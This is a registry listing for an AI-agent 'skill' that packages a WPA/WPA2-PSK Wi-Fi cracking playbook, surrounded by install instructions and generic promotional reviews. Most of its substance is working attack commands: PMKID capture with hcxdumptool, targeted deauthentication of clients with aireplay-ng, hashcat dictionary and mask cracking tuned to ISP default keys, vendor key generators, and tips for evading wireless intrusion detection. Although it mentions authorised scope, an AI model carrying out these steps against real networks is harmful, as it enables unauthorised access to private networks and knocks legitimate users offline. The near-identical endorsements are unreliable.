offensive-wpa2-psk
Automate repetitive workflows and reduce manual effort
Example: Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example: Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example: Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Time estimate: 15-45 minutes depending on use case complexity
Prerequisites
Submit your Claude Code skill and start earning
epx add SnailSploit/Claude-Red --skill offensive-wpa2-pskCompatible with
Supported agents
WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool
Practical, repeatable guidance for authorized security work.
Includes procedures, checks, and references for this skill.
| name | offensive-wpa2-psk |
| description | "WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode." |
The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
offensive-wifi-recon)The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.
# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 \
--filterlist_ap=targets.txt --filtermode=2
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
targets.txt contains BSSIDs (one per line) you're authorized to attack.
If hash.hc22000 is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
If a client is associated:
# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
The handshake will appear in airodump's top-right corner as WPA handshake: AA:BB:CC:DD:EE:FF.
Why one client at a time: broadcast deauth (no -c) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
Useful wordlists:
rockyou.txt (classic)weakpass_3 / weakpass_4 (huge breach corpus)crackstation.txt# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
# Show recommended workload tuning per GPU
hashcat -b -m 22000
# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
| Signal | Defender View |
|---|---|
| Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes |
| PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC |
| Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios |
To minimize: PMKID with --filtermode=2 (only target your authorized list), single targeted deauth bursts, randomize source MAC between captures.
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon
# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule
# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-wpa2-pskExecute the skills CLI command in your project's root directory to begin installation:
epx add SnailSploit/Claude-Red --skill offensive-wpa2-pskFetches offensive-wpa2-psk from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
.cursor/skills/offensive-wpa2-psk
Restart Cursor to activate offensive-wpa2-psk. Access via /offensive-wpa2-pskin your agent's command palette.
Learn more:View source on GitHubSkills CLI docsAbout CursorWhat are agent skills?
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
offensive-xxe
SnailSploit/Claude-Red · web · same repo
offensive-linux-privesc
SnailSploit/Claude-Red · privesc · same repo
offensive-tls-attacks
SnailSploit/Claude-Red · crypto · same repo
offensive-supply-chain
SnailSploit/Claude-Red · supply-chain · same repo
offensive-container-escape
SnailSploit/Claude-Red · container · same repo
offensive-k8s-attacks
SnailSploit/Claude-Red · container · same repo
Solid pick for teams standardizing on skills: offensive-wpa2-psk is focused, and the summary matches what you get after install.
offensive-wpa2-psk has been reliable in day-to-day use. Documentation quality is above average for community skills.
I recommend offensive-wpa2-psk for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
offensive-wpa2-psk reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-wpa2-psk is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
We added offensive-wpa2-psk from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
offensive-wpa2-psk fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Registry listing for offensive-wpa2-psk matched our evaluation — installs cleanly and behaves as described in the markdown.
Keeps context tight: offensive-wpa2-psk is the kind of skill you can hand to a new teammate without a long onboarding doc.
offensive-wpa2-psk fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 53